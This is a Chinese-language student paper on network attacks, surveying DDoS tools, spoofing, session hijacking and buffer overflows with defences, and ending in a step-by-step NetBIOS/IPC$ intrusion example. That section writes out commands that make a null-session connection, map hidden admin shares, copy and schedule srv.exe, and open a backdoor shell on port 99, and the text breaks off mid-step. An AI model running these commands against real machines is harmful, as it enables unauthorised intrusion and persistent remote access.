網(wǎng)絡(luò)安全論文

網(wǎng)絡(luò)安全論文PAGE1PAGE1網(wǎng)絡(luò)安全論文目錄1網(wǎng)絡(luò)攻擊技術(shù)簡(jiǎn)介 12攻擊步驟與方法 12.1攻擊步驟 12.2攻擊方法 12.3攻擊結(jié)束 33分布式拒絕服務(wù)攻擊 43.1DDoS的誕生 43.2DDoS的攻擊步驟 53.3DDoS攻擊的網(wǎng)絡(luò)結(jié)構(gòu)以及所利用的協(xié)議漏洞： 53.4DDoS攻擊的五種常用方式 63.5DDoS攻擊新技術(shù)——反彈技術(shù) 73.6DDoS攻擊下的防御 74緩沖區(qū)溢出攻擊與防御 84.1緩沖區(qū)溢出攻擊簡(jiǎn)介 84.2緩沖區(qū)溢出攻擊 94.3緩沖區(qū)溢出的防御 105一個(gè)基于Netbios的攻擊實(shí)例 115.1攻擊步驟 115.2如何防范IPC$漏洞 136常用攻擊工具 137小結(jié) 14網(wǎng)絡(luò)安全論文全文共15頁(yè)，當(dāng)前為第1頁(yè)。網(wǎng)絡(luò)安全論文全文共15頁(yè)，當(dāng)前為第1頁(yè)。1網(wǎng)絡(luò)攻擊技術(shù)簡(jiǎn)介攻擊分類(lèi)在最高層次，攻擊可被分為兩類(lèi)：1主動(dòng)攻擊 主動(dòng)攻擊包含攻擊者訪(fǎng)問(wèn)他所需信息的故意行為。比如遠(yuǎn)程登錄到指定機(jī)器的端口25找出公司運(yùn)行的郵件服務(wù)器的信息；偽造無(wú)效IP地址去連接服務(wù)器，使接受到錯(cuò)誤IP地址的系統(tǒng)浪費(fèi)時(shí)間去連接哪個(gè)非法地址。攻擊者是在主動(dòng)地做一些不利于你或你的公司系統(tǒng)的事情。正因?yàn)槿绱?，如果要尋找他們是很容易發(fā)現(xiàn)的。主動(dòng)攻擊包括拒絕服務(wù)攻擊、信息篡改、資源使用、欺騙等攻擊方法。2被動(dòng)攻擊 被動(dòng)攻擊主要是收集信息而不是進(jìn)行訪(fǎng)問(wèn)，數(shù)據(jù)的合法用戶(hù)對(duì)這種活動(dòng)一點(diǎn)也不會(huì)覺(jué)察到。被動(dòng)攻擊包括嗅探、信息收集等攻擊方法。2攻擊步驟與方法2.1攻擊步驟1搜集信息2實(shí)施入侵3上傳程序、下載數(shù)據(jù)4利用一些方法來(lái)保持訪(fǎng)問(wèn)，如后門(mén)、特洛伊木馬5隱藏蹤跡2.2攻擊方法1入侵攻擊拒絕服務(wù)攻擊網(wǎng)絡(luò)安全論文全文共15頁(yè)，當(dāng)前為第2頁(yè)。 嚴(yán)格來(lái)說(shuō)，拒絕服務(wù)攻擊并不是某一種具體的攻擊方式，而是攻擊所表現(xiàn)出來(lái)的結(jié)果，最終使得目標(biāo)系統(tǒng)因遭受某種程度的破壞而不能繼續(xù)提供正常的服務(wù)，甚至導(dǎo)致物理上的癱瘓或崩潰。網(wǎng)絡(luò)安全論文全文共15頁(yè)，當(dāng)前為第2頁(yè)。分布式拒絕服務(wù)攻擊 高速?gòu)V泛連接的網(wǎng)絡(luò)也為DDoS攻擊創(chuàng)造了極為有利的條件。在低速網(wǎng)絡(luò)時(shí)代時(shí)，黑客占領(lǐng)攻擊用的傀儡機(jī)時(shí)，總是會(huì)優(yōu)先考慮離目標(biāo)網(wǎng)絡(luò)距離近的機(jī)器，因?yàn)榻?jīng)過(guò)路由器的跳數(shù)少，效果好?？诹罟?攻擊者攻擊目標(biāo)時(shí)常常把破譯用戶(hù)的口令作為攻擊的開(kāi)始。只要攻擊者能猜測(cè)或者確定用戶(hù)的口令，他就能獲得機(jī)器或者網(wǎng)絡(luò)的訪(fǎng)問(wèn)權(quán)，并能訪(fǎng)問(wèn)到用戶(hù)能訪(fǎng)問(wèn)到的任何資源。2欺騙攻擊(1)IP欺騙 公司使用其他計(jì)算機(jī)的IP地址來(lái)獲得信息或者得到特權(quán)。電子信件欺騙 電子信件的發(fā)送方地址的欺騙。比如說(shuō)，電子信件看上去是來(lái)自TOM，但事實(shí)上TOM沒(méi)有發(fā)信，是冒充TOM的人發(fā)的信。(2)WEB欺騙 越來(lái)越多的電子商務(wù)使用互連網(wǎng)。為了利用網(wǎng)站做電子商務(wù)，人們不得不被鑒別并被授權(quán)來(lái)得到信任。在任何實(shí)體必須被信任的時(shí)候，欺騙的機(jī)會(huì)出現(xiàn)了。非技術(shù)類(lèi)欺騙 這些類(lèi)型的攻擊是把精力集中在攻擊攻擊的人力因素上。它需要通過(guò)社會(huì)工程技術(shù)來(lái)實(shí)現(xiàn)。3會(huì)話(huà)劫持攻擊 會(huì)話(huà)劫持(SessionHijack)是一種結(jié)合了嗅探以及欺騙技術(shù)在內(nèi)的攻擊手段。廣義上說(shuō)，會(huì)話(huà)劫持就是在一次正常的通信過(guò)程中，黑客作為第三方參與到其中，或者是在數(shù)據(jù)流（例如基于TCP的會(huì)話(huà)）里注射額外的信息，或者是將雙方的通信模式暗中改變，即從直接聯(lián)系變成有黑客聯(lián)系。 會(huì)話(huà)劫持利用了TCP/IP工作原理來(lái)設(shè)計(jì)攻擊。網(wǎng)絡(luò)安全論文全文共15頁(yè)，當(dāng)前為第3頁(yè)。 TCP會(huì)話(huà)劫持的攻擊方式可以對(duì)基于TCP的任何應(yīng)用發(fā)起攻擊，如HTTP、FTP、Telnet等。網(wǎng)絡(luò)安全論文全文共15頁(yè)，當(dāng)前為第3頁(yè)。4緩沖區(qū)溢出攻擊幾十年來(lái)，緩沖區(qū)溢出一直引起許多嚴(yán)重的安全性問(wèn)題。其中最著名的例子是：1988年，因特網(wǎng)蠕蟲(chóng)程序在finger中利用緩沖區(qū)溢出感染了因特網(wǎng)中的數(shù)萬(wàn)臺(tái)機(jī)器。 引起緩沖區(qū)溢出問(wèn)題的根本原因是C（與其后代C++）本質(zhì)就是不安全的，沒(méi)有邊界來(lái)檢查數(shù)組和指針的引用，也就是開(kāi)發(fā)人員必須檢查邊界（而這一行為往往會(huì)被忽視），否則會(huì)冒遇到問(wèn)題的風(fēng)險(xiǎn)。標(biāo)準(zhǔn)C庫(kù)中還存在許多非安全字符串操作，包括：strcpy()、sprintf()、gets()等。2.3攻擊結(jié)束1保留訪(fǎng)問(wèn)權(quán)限 在大多數(shù)情況下，攻擊者入侵一個(gè)系統(tǒng)后，他可能還想在適當(dāng)?shù)臅r(shí)候再次進(jìn)入系統(tǒng)。比如說(shuō)，如果攻擊者入侵了一個(gè)站點(diǎn)，將它作為一個(gè)對(duì)其他系統(tǒng)進(jìn)行攻擊的平臺(tái)或者是跳板，他就會(huì)想在適當(dāng)?shù)臅r(shí)候登錄到這個(gè)站點(diǎn)取回他以前存放在系統(tǒng)里面的工具進(jìn)行新的攻擊。很容易想到的方法就是在這個(gè)已經(jīng)被入侵的系統(tǒng)中留一個(gè)后門(mén)。但是，非常關(guān)鍵的是，不但要留下下次進(jìn)入的通道，而且還要對(duì)自己所做的一切加以隱藏，如果建立起的后門(mén)馬上就被管理員發(fā)現(xiàn)就沒(méi)有任何用處了。2后門(mén)和特洛伊木馬簡(jiǎn)單地說(shuō)，后門(mén)（backdoor）就是攻擊者再次進(jìn)入網(wǎng)絡(luò)或者是系統(tǒng)而不被發(fā)現(xiàn)的隱蔽通道。最簡(jiǎn)單的方法就是打開(kāi)一個(gè)被端口監(jiān)聽(tīng)代理所監(jiān)聽(tīng)的代理，有很多軟件可以做到這一點(diǎn)。3隱藏蹤跡 當(dāng)黑客成功獲取了存取權(quán)限且完成了自己的預(yù)定目標(biāo)后，他還有最后一個(gè)工作要完成--隱藏攻擊蹤跡。這其中包括重新進(jìn)入系統(tǒng)，將所有能夠表明他曾經(jīng)來(lái)過(guò)的證據(jù)隱藏起來(lái)。為達(dá)到這個(gè)目的，有三個(gè)方面的工作要做：（1）日志文件網(wǎng)絡(luò)安全論文全文共15頁(yè)，當(dāng)前為第4頁(yè)。大多數(shù)系統(tǒng)都是通過(guò)記錄日志文件來(lái)檢測(cè)是誰(shuí)進(jìn)入過(guò)系統(tǒng)并且停留了多長(zhǎng)時(shí)間。根據(jù)日志文件所設(shè)置的級(jí)別不同，還可以發(fā)現(xiàn)他們做了些什么，對(duì)哪些文件進(jìn)行了操作。網(wǎng)絡(luò)安全論文全文共15頁(yè)，當(dāng)前為第4頁(yè)。（2）文件信息為了獲得系統(tǒng)的存取權(quán)限和在系統(tǒng)中建立后門(mén)，攻擊者通常必須對(duì)某些系統(tǒng)文件進(jìn)行修改。當(dāng)他們這樣做后，文件的一些信息，比如說(shuō)修改時(shí)間和文件長(zhǎng)度就會(huì)發(fā)生變化，通過(guò)這些也可以確定系統(tǒng)是否曾經(jīng)遭受過(guò)攻擊。 在很多情況下，黑客為了達(dá)到進(jìn)入系統(tǒng)獲取權(quán)限目的，必須另外上傳或者安裝一些文件。這些用來(lái)隱藏蹤跡或者用來(lái)對(duì)別的站點(diǎn)進(jìn)行新攻擊的文件通常會(huì)占用一定的磁盤(pán)空間。系統(tǒng)管理員可以通過(guò)磁盤(pán)空余空間的檢查來(lái)確定是否發(fā)生過(guò)攻擊。（3）網(wǎng)絡(luò)通信流量 當(dāng)黑客對(duì)某個(gè)系統(tǒng)進(jìn)行攻擊時(shí)，大多數(shù)情況下是通過(guò)網(wǎng)絡(luò)進(jìn)行的。這也意味著攻擊者必須對(duì)自己在網(wǎng)絡(luò)上留下的痕跡進(jìn)行清除。由于網(wǎng)絡(luò)系統(tǒng)都運(yùn)行著IDS（入侵檢測(cè)系統(tǒng)），任何可疑的網(wǎng)絡(luò)通信都會(huì)被打上標(biāo)記。而要抹去IDS上的記錄是非常困難的，因?yàn)樗菍?shí)時(shí)監(jiān)測(cè)的。3分布式拒絕服務(wù)攻擊3.1DDoS的誕生1999年8月以來(lái)，出現(xiàn)了一種新的網(wǎng)絡(luò)攻擊方法，這就是分布式拒絕攻擊（DDoS）。之后這種攻擊方法開(kāi)始大行其道，成為黑客攻擊的主流手段。Yahoo、eBay、CNN等眾多知站點(diǎn)相繼被身份不明的黑客在短短幾天內(nèi)連續(xù)破壞，系統(tǒng)癱瘓達(dá)幾個(gè)小時(shí)甚至幾十個(gè)小時(shí)之久。拒絕服務(wù)攻擊拒絕服務(wù)攻擊（DenialofService）——是一種個(gè)人或多人利用Internet協(xié)議的某些漏洞，拒絕其他用戶(hù)對(duì)系統(tǒng)和信息的合法訪(fǎng)問(wèn)的攻擊。這類(lèi)攻擊使服務(wù)器充斥大量要求恢復(fù)的非法用戶(hù)的信息和請(qǐng)求，消耗網(wǎng)絡(luò)帶寬或系統(tǒng)資源，導(dǎo)致網(wǎng)絡(luò)或系統(tǒng)不勝負(fù)荷以至癱瘓而停止提供正常的網(wǎng)絡(luò)服務(wù)。分布式拒絕服務(wù)攻擊（DistributedDenialofService）是對(duì)拒絕服務(wù)攻擊的發(fā)展。網(wǎng)絡(luò)安全論文全文共15頁(yè)，當(dāng)前為第5頁(yè)。攻擊者控制大量的攻擊源，然后同時(shí)向攻擊目標(biāo)發(fā)起的一種拒絕服務(wù)攻擊。海量的信息會(huì)使得攻擊目標(biāo)帶寬迅速消失殆盡。網(wǎng)絡(luò)安全論文全文共15頁(yè)，當(dāng)前為第5頁(yè)。相對(duì)于一般的拒絕服務(wù)攻擊，分布式拒絕服務(wù)攻擊有以下兩個(gè)特點(diǎn)：分布式拒絕服務(wù)攻擊特點(diǎn):由于集中了成百上千臺(tái)機(jī)器同時(shí)進(jìn)行攻擊，其攻擊力是十分巨大的。即使像Yahoo，Sina等應(yīng)用了可以將負(fù)荷分?jǐn)偟矫總€(gè)服務(wù)器的集群服務(wù)器（clusterserver）技術(shù)，也難以抵擋這種攻擊。多層攻擊網(wǎng)絡(luò)結(jié)構(gòu)使被攻擊主機(jī)很難發(fā)現(xiàn)攻擊者，而且大部分裝有主控進(jìn)程和守護(hù)進(jìn)程的機(jī)器的合法用戶(hù)并不知道自己是整個(gè)拒絕服務(wù)攻擊網(wǎng)絡(luò)中的一部分，即使被攻擊主機(jī)監(jiān)測(cè)到也無(wú)濟(jì)于事。3.2DDoS的攻擊步驟攻擊過(guò)程主要有兩個(gè)步驟：攻占代理主機(jī)和向目標(biāo)發(fā)起攻擊。具體說(shuō)來(lái)可分為以下幾個(gè)步驟：1探測(cè)掃描大量主機(jī)以尋找可入侵主機(jī)；2入侵有安全漏洞的主機(jī)并獲取控制權(quán)；3在每臺(tái)被入侵主機(jī)中安裝攻擊所用的客戶(hù)進(jìn)程或守護(hù)進(jìn)程；4向安裝有客戶(hù)進(jìn)程的主控端主機(jī)發(fā)出命令，由它們來(lái)控制代理主機(jī)上的守護(hù)進(jìn)程進(jìn)行協(xié)同入侵。3.3DDoS攻擊的網(wǎng)絡(luò)結(jié)構(gòu)以及所利用的協(xié)議漏洞：1利用IP源路由信息的攻擊由于TCP/IP體系中對(duì)IP數(shù)據(jù)包的源地址不進(jìn)行驗(yàn)證，所以攻擊者可以控制其眾多代理端用捏造的IP地址發(fā)出攻擊報(bào)文，并指明到達(dá)目標(biāo)站點(diǎn)的傳送路由，產(chǎn)生數(shù)據(jù)包溢出。2利用RIP協(xié)議的攻擊RIP是應(yīng)用最廣泛的路由協(xié)議，采用RIP的路由器會(huì)定時(shí)廣播本地路由表到鄰接的路由器，以刷新路由信息。通常站點(diǎn)接收到新路由時(shí)直接采納，這使攻擊者有機(jī)可乘。網(wǎng)絡(luò)安全論文全文共15頁(yè)，當(dāng)前為第6頁(yè)。3利用ICMP的攻擊網(wǎng)絡(luò)安全論文全文共15頁(yè)，當(dāng)前為第6頁(yè)。絕大多數(shù)監(jiān)視工具不顯示ICMP包的數(shù)據(jù)部分，或不解析ICMP類(lèi)型字段，所以ICMP數(shù)據(jù)包往往能直接通過(guò)防火墻。例如，從攻擊軟件TFN(Tribefloodnetwork)客戶(hù)端到守護(hù)程序端的通訊可直接通過(guò)ICMP-ECHOREPLY(Type0)數(shù)據(jù)包完成?？芍苯佑糜诎l(fā)起攻擊的ICMP報(bào)文還有：ICMP重定向報(bào)文(Type5)、ICMP目的站點(diǎn)不可達(dá)報(bào)文(Type3)、數(shù)據(jù)包超時(shí)報(bào)文(Type11)。3.4DDoS攻擊的五種常用方式至今為止，攻擊者最常使用的分布式拒絕服務(wù)攻擊程序主要包括4種：Trinoo、TFN、TFN2K和Stacheldraht。1Trinoo（TribeFloodNetwork）攻擊Trinoo是一種用UDP包進(jìn)行攻擊的工具軟件。與針對(duì)某特定端口的一般UDPflood攻擊相比，Trinoo攻擊隨機(jī)指向目標(biāo)端的各個(gè)UDP端口，產(chǎn)生大量ICMP不可到達(dá)報(bào)文，嚴(yán)重增加目標(biāo)主機(jī)負(fù)擔(dān)并占用帶寬，使對(duì)目標(biāo)主機(jī)的正常訪(fǎng)問(wèn)無(wú)法進(jìn)行。DDoS攻擊的五種常用方式2TFN攻擊TFN是利用ICMP給主控端或分布端下命令，其來(lái)源可以做假。它可以發(fā)動(dòng)SYNflood、UDPflood、ICMPflood及Smurf(利用多臺(tái)服務(wù)器發(fā)出海量數(shù)據(jù)包，實(shí)施DoS攻擊)等攻擊。3TFN2K攻擊TFN2K是TFN的增強(qiáng)版，它增加了許多新功能4Stacheldraht攻擊Stacheldraht結(jié)合了Trinoo和TFN的特點(diǎn)，并且它將attacker和master間的通信加密，增加了master端的自動(dòng)更新功能，即能夠自動(dòng)更新daemon主機(jī)列表。5SHAFT攻擊SHAFT是一種獨(dú)立發(fā)展起來(lái)的DDoS攻擊方法，獨(dú)特之處在于：網(wǎng)絡(luò)安全論文全文共15頁(yè)，當(dāng)前為第7頁(yè)。首先，在攻擊過(guò)程中，受控主機(jī)之間可以交換對(duì)分布端的控制和端口，這使得入侵檢測(cè)工具難以奏效。其次，SHAFT采用了“ticket”機(jī)制進(jìn)行攻擊，使其攻擊命令有一定秘密性。第三，SHAFT采用了獨(dú)特的包統(tǒng)計(jì)方法使其攻擊得以順利完成。網(wǎng)絡(luò)安全論文全文共15頁(yè)，當(dāng)前為第7頁(yè)。3.5DDoS攻擊新技術(shù)——反彈技術(shù)反彈技術(shù)就是利用反彈服務(wù)器實(shí)現(xiàn)攻擊的技術(shù)。所謂反彈服務(wù)器（Reflector）是指當(dāng)收到一個(gè)請(qǐng)求數(shù)據(jù)報(bào)后就會(huì)產(chǎn)生一個(gè)回應(yīng)數(shù)據(jù)報(bào)的主機(jī)。例如，所有的Web服務(wù)器、DNS服務(wù)器和路由服務(wù)器都是反彈服務(wù)器。攻擊者可以利用這些回應(yīng)的數(shù)據(jù)報(bào)對(duì)目標(biāo)機(jī)器發(fā)動(dòng)DDoS攻擊。反彈技術(shù)原理反彈服務(wù)器攻擊過(guò)程和傳統(tǒng)的DDoS攻擊過(guò)程相似，如前面所述的4個(gè)步驟中，只是第4步改為：攻擊者鎖定大量的可以作為反彈服務(wù)器的服務(wù)器群，攻擊命令發(fā)出后，代理守護(hù)進(jìn)程向已鎖定的反彈服務(wù)器群發(fā)送大量的欺騙請(qǐng)求數(shù)據(jù)包，其原地址為受害服務(wù)器或目標(biāo)服務(wù)器。反彈技術(shù)實(shí)現(xiàn)DDoS攻擊與傳統(tǒng)DDoS攻擊的區(qū)別：1．反彈技術(shù)實(shí)現(xiàn)DDoS攻擊比傳統(tǒng)DDoS攻擊更加難以抵御。實(shí)際上它的攻擊網(wǎng)絡(luò)結(jié)構(gòu)和傳統(tǒng)的相比多了第四層——被鎖定的反彈服務(wù)器層。反彈服務(wù)器的數(shù)量可以遠(yuǎn)比駐有守護(hù)進(jìn)程的代理服務(wù)器多，故反彈技術(shù)可以使攻擊時(shí)的洪水流量變?nèi)?，最終才在目標(biāo)機(jī)匯合為大量的洪水，其攻擊規(guī)模也比傳統(tǒng)DDoS攻擊大得多。2．目標(biāo)機(jī)更難追查到攻擊來(lái)源。目標(biāo)機(jī)接收到的攻擊數(shù)據(jù)報(bào)的源IP是真實(shí)的，反彈服務(wù)器追查到的數(shù)據(jù)報(bào)源IP是假的。又由于反彈服務(wù)器上收發(fā)數(shù)據(jù)報(bào)的流量較?。ㄟh(yuǎn)小于代理服務(wù)器發(fā)送的數(shù)量），所以，服務(wù)器根據(jù)網(wǎng)絡(luò)流量來(lái)自動(dòng)檢測(cè)是否為DDoS攻擊源的這種機(jī)制將不起作用。3.6DDoS攻擊下的防御對(duì)DDoS攻擊體系的檢測(cè)與防范是一個(gè)整體行為，必須從主控端、代理端、目標(biāo)端分別進(jìn)行。總體上包括兩個(gè)方面：一是主控端與代理端主機(jī)應(yīng)防止被攻擊者侵入并加以利用。網(wǎng)絡(luò)安全論文全文共15頁(yè)，當(dāng)前為第8頁(yè)。二是在目標(biāo)端建立監(jiān)控機(jī)制及時(shí)檢測(cè)網(wǎng)絡(luò)流量變化判斷是否發(fā)生DDoS攻擊以便采取適當(dāng)措施。網(wǎng)絡(luò)安全論文全文共15頁(yè)，當(dāng)前為第8頁(yè)。第一種情況是我們根本的防范目標(biāo)，但是這屬于單機(jī)的安全防御，所以這里不加詳述。第二方面是DDoS所特有的網(wǎng)絡(luò)特征，下面將就此作一點(diǎn)介紹。實(shí)際上，DDoS的唯一檢測(cè)方式是：異常的網(wǎng)絡(luò)交通流量。下面將分別介紹5種異常模式及相應(yīng)的解決辦法。網(wǎng)絡(luò)流量的幾種異常模式1負(fù)責(zé)目標(biāo)機(jī)域名解析的DNS收到大量的PTR檢索請(qǐng)求，則很有可能由DDoS發(fā)生?？梢栽贒NS服務(wù)器進(jìn)行此類(lèi)匹配工作，一旦發(fā)生，做出相應(yīng)的警告。（攻擊前必須首先解析目的主機(jī)的IP地址）2突然的網(wǎng)絡(luò)流量超過(guò)網(wǎng)絡(luò)的閾值。只是很明顯的拒絕服務(wù)攻擊的信號(hào)，解決辦法是設(shè)置網(wǎng)絡(luò)防火墻將來(lái)自某些地址的數(shù)據(jù)包丟掉。3發(fā)現(xiàn)超常的ICMP或者UDP數(shù)據(jù)包。這些超常的數(shù)據(jù)包通常是Attacker發(fā)往Master的控制信息。網(wǎng)絡(luò)監(jiān)測(cè)工具的使用一些常用的軟硬件的正確應(yīng)用在網(wǎng)絡(luò)檢測(cè)中起著很大的作用，比如：1防火墻的應(yīng)用——在防火墻設(shè)置了正確的規(guī)則后，一定程度上可以識(shí)別這些拒絕服務(wù)攻擊所采用的攻擊方法，并將攻擊包阻擋在外。2Scanners的應(yīng)用——可以及時(shí)發(fā)現(xiàn)網(wǎng)絡(luò)中存在的漏洞并及時(shí)修復(fù)；可以發(fā)現(xiàn)網(wǎng)絡(luò)中后門(mén)和DDoS代理程序，以便及時(shí)清除。3IDS的應(yīng)用——IDS可以分析所有進(jìn)入網(wǎng)段或主機(jī)的數(shù)據(jù)包，來(lái)發(fā)現(xiàn)是否有人企圖掃描網(wǎng)絡(luò)或利用漏洞(不論漏洞存在與否)，若是攻擊者連初次的掃描也無(wú)法進(jìn)行，當(dāng)然也就無(wú)法作出后續(xù)攻擊了。4緩沖區(qū)溢出攻擊與防御4.1緩沖區(qū)溢出攻擊簡(jiǎn)介網(wǎng)絡(luò)安全論文全文共15頁(yè)，當(dāng)前為第9頁(yè)。1造成緩沖區(qū)溢出的原因是程序中沒(méi)有仔細(xì)檢查用戶(hù)輸入的參數(shù)。緩沖區(qū)溢出就是將一個(gè)超過(guò)緩沖區(qū)長(zhǎng)度的字符串置入緩沖區(qū)的結(jié)果．網(wǎng)絡(luò)安全論文全文共15頁(yè)，當(dāng)前為第9頁(yè)。2后果：向一個(gè)有限空間的緩沖區(qū)中置入過(guò)長(zhǎng)的字符串可能會(huì)帶來(lái)兩種后果一是過(guò)長(zhǎng)的字符串覆蓋了相鄰的存儲(chǔ)單元，引起程序運(yùn)行失敗，嚴(yán)重的可導(dǎo)致系統(tǒng)崩潰；另一種后果是利用這種漏洞可以執(zhí)行任意指令，甚至可以取得系統(tǒng)特權(quán)，由此而引發(fā)了許多種攻擊方法。4.2緩沖區(qū)溢出攻擊C語(yǔ)言能改變內(nèi)存地址內(nèi)容的語(yǔ)句主要有兩類(lèi)1)*A＝B；／*指針型語(yǔ)句*／2)A[i]＝B；／*數(shù)組型語(yǔ)句*／其中，A，B均為變量，*A為指針，A[]為數(shù)組，i為數(shù)組此兩種語(yǔ)句分別對(duì)應(yīng)了兩種攻擊方法。一：指針型攻擊方法在第1類(lèi)語(yǔ)句(指針型語(yǔ)句)中，由于A所指向的內(nèi)存地址取得B的值，因而攻擊者能利用該聲明來(lái)改變函數(shù)的返回地址。由此可構(gòu)成第一種攻擊方法，又可稱(chēng)為指針型攻擊方法。取得成功必須具備下列條件1.一個(gè)循環(huán)語(yǔ)句，用于將用戶(hù)輸人數(shù)據(jù)復(fù)制到一個(gè)緩沖區(qū)數(shù)組，而且不能檢查數(shù)據(jù)量，同時(shí)數(shù)組必須緊靠變量A2.一個(gè)循環(huán)語(yǔ)句，用于將用戶(hù)輸人數(shù)據(jù)復(fù)制到一個(gè)緩沖區(qū)數(shù)組，而且不能檢查數(shù)據(jù)量，同時(shí)數(shù)組必須緊靠變量B3.(1)、(2)必須在*A＝B執(zhí)行之前，且(1)、(2)執(zhí)行后，不能再改變A、B的值。攻擊實(shí)施過(guò)程在*A＝B執(zhí)行之前，通過(guò)(1)、(2)改變A、B的值，當(dāng)語(yǔ)句*A＝B執(zhí)行時(shí)，變量A的新值所指向的地址*A將取得變量B的新值(即用戶(hù)輸入的數(shù)據(jù))。利用這種方法，攻擊者可以改變?nèi)魏蝺?nèi)存地址的內(nèi)容，包括返回地址。二：數(shù)組型攻擊方法網(wǎng)絡(luò)安全論文全文共15頁(yè)，當(dāng)前為第10頁(yè)。在第二類(lèi)語(yǔ)句(數(shù)組型語(yǔ)句)中，數(shù)組A[]中的第i個(gè)元素A[i]取得B的值。網(wǎng)絡(luò)安全論文全文共15頁(yè)，當(dāng)前為第10頁(yè)。必須滿(mǎn)足的條件(1)一個(gè)循環(huán)聲明，用于將用戶(hù)輸人數(shù)據(jù)復(fù)制到一個(gè)緩沖區(qū)數(shù)組，而且不能檢查數(shù)據(jù)量，同時(shí)數(shù)組必須緊靠變量B(2)一個(gè)循環(huán)聲明，用于將用戶(hù)輸人數(shù)據(jù)復(fù)制到數(shù)組A，而且不能檢查A的上界，每次循環(huán)后i的值加1，同時(shí)數(shù)組A必須緊靠一個(gè)返回地址實(shí)施過(guò)程一通過(guò)(1)改變B的值，然后通過(guò)(2)將B的新值循環(huán)輸人數(shù)組A，直到返回地址也被該新值覆蓋。這種攻擊中，不僅返回地址被改變，而且介于數(shù)組A與返回地址之間的所有內(nèi)存區(qū)域也全被改寫(xiě)。這種方法在緩沖區(qū)溢出攻擊中使用得最多。實(shí)施過(guò)程二與指針型語(yǔ)句中的攻擊方法類(lèi)似。假設(shè)A[k]存有函數(shù)的返回地址。如果我們用第一種攻擊方法使A[k]溢出，就可將返回地址的值改寫(xiě)成任何需要的值。攻擊成功發(fā)生必須同時(shí)滿(mǎn)足三個(gè)條件：1將攻擊代碼注入內(nèi)存2將函數(shù)返回地址指針指向已注入攻擊代碼的內(nèi)存地址3執(zhí)行攻擊代碼4.3緩沖區(qū)溢出的防御這種方法的關(guān)鍵是要能禁止惡意代碼的注入。最根本的辦法是采用安全的C語(yǔ)言庫(kù)函數(shù)的最新版本，或者由程序員編程時(shí)手工加入用以檢查數(shù)組與指針等的上界的代碼，對(duì)下列經(jīng)常使用又容易被攻擊者利用的函數(shù)更需特別重視。strcpy(),strcat(),sprintf(),vsprintf(),gets().scanf(),以及在循環(huán)內(nèi)的getc(),fgetc(),getchar()等允許緩沖區(qū)溢出但不允許改變控制流網(wǎng)絡(luò)安全論文全文共15頁(yè)，當(dāng)前為第11頁(yè)。這種方法允許注入外部代碼，但禁止未經(jīng)授權(quán)控制流的改變，因而攻擊者可以將其攻擊代碼注入內(nèi)存并能改變部分地址段內(nèi)容，但控制流不會(huì)被指向攻擊代碼，從而攻擊代碼不會(huì)被執(zhí)行。網(wǎng)絡(luò)安全論文全文共15頁(yè)，當(dāng)前為第11頁(yè)。允許改變控制流但禁止敏感代碼的執(zhí)行這種方法中，可以注入攻擊代碼、并能改變返回地址，但攻擊代碼不能完全執(zhí)行。比如可以禁止諸如exec()等系統(tǒng)調(diào)用函數(shù)的非法使用，在Unix中，當(dāng)程序使用系統(tǒng)調(diào)用函數(shù)時(shí)，其返回地址將被保存在系統(tǒng)內(nèi)核堆棧中，而不是普通堆棧中。這樣，通過(guò)檢查系統(tǒng)調(diào)用的地址是否來(lái)自系統(tǒng)內(nèi)核堆棧就可知道它是否合法。5一個(gè)基于Netbios的攻擊實(shí)例5.1攻擊步驟1掃描目標(biāo)計(jì)算機(jī)對(duì)目標(biāo)計(jì)算機(jī)或的端口掃描（portscan）。使用端口掃描軟件如SuperScan3.0，查看目標(biāo)計(jì)算機(jī)的端口139是否打開(kāi)。139端口是“NetBIOSsession“端口，用來(lái)進(jìn)行文件和打印共享的端口。選擇2為攻擊目標(biāo)2列出已知共享找到了這樣的目標(biāo)計(jì)算機(jī)后，先發(fā)出[cmd>netuse\\IP-address\ipc$“”/user：“”]命令嘗試空連接，一旦連接成功，就用[netview]命令列出已知共享。3映射網(wǎng)絡(luò)硬盤(pán)我們已經(jīng)獲得對(duì)方的共享列表，那么就可以用[cmd>netuseX:\\IP-address\sharename]將對(duì)方共享夾映射成自己的網(wǎng)絡(luò)硬盤(pán)。我們知道NT都有自己的隱藏共享，如：C$、D$、ADMIN$等，空連接成功后，我們就嘗試將這些隱藏映射，當(dāng)然是只有當(dāng)共享不設(shè)密碼或分配給everyone群組時(shí)這一攻擊才有效。4復(fù)制攻擊工具把需要用到的工具COPY到對(duì)方機(jī)器：

C:\>copysrv.exe\\2\admin$//先復(fù)制srv.exe上去。（這里的ADMIN$是指ADMIN用戶(hù)的c:\winnt\system32\大家還可以使用c$,d$這個(gè)的意思是C盤(pán)與D盤(pán)，這看你要復(fù)制到什么地方去了）網(wǎng)絡(luò)安全論文全文共15頁(yè)，當(dāng)前為第12頁(yè)。已復(fù)制1個(gè)文件。網(wǎng)絡(luò)安全論文全文共15頁(yè)，當(dāng)前為第12頁(yè)。5啟動(dòng)SRCC:\>nettime\\2//查對(duì)方計(jì)算機(jī)的時(shí)間。\\2的當(dāng)前時(shí)間是2003/6/29上午11:00命令成功完成。C:\>at\\211:05srv.exe//用at命令啟動(dòng)srv.exe新加了一項(xiàng)作業(yè)，其作業(yè)ID=1C:\>nettime\\2//再查查時(shí)間有沒(méi)有到\\2的當(dāng)前時(shí)間是2003/6/29上午11:05命令成功完成。6啟動(dòng)TELNETC:\>telnet299//啟動(dòng)telnet注意端口是99，TELNET默認(rèn)的是23端口，但是我們使用的是SRV在對(duì)方計(jì)算機(jī)中為我們建立一個(gè)99端口的SHELL。//此時(shí)進(jìn)入命令行模式，已可對(duì)對(duì)方機(jī)器發(fā)送指令了。雖然我們可以Telnet上去了，但是SRV是一次性的，下次登錄還要再激活，所以我們打算建立一個(gè)Telnet服務(wù)，這就要用到ntlm了。7建立TELNET服務(wù)C:\>copyntlm.exe\\2\admin$

用Copy命令把ntlm.exe上傳到主機(jī)上。C:\WINNT\system32>ntlm

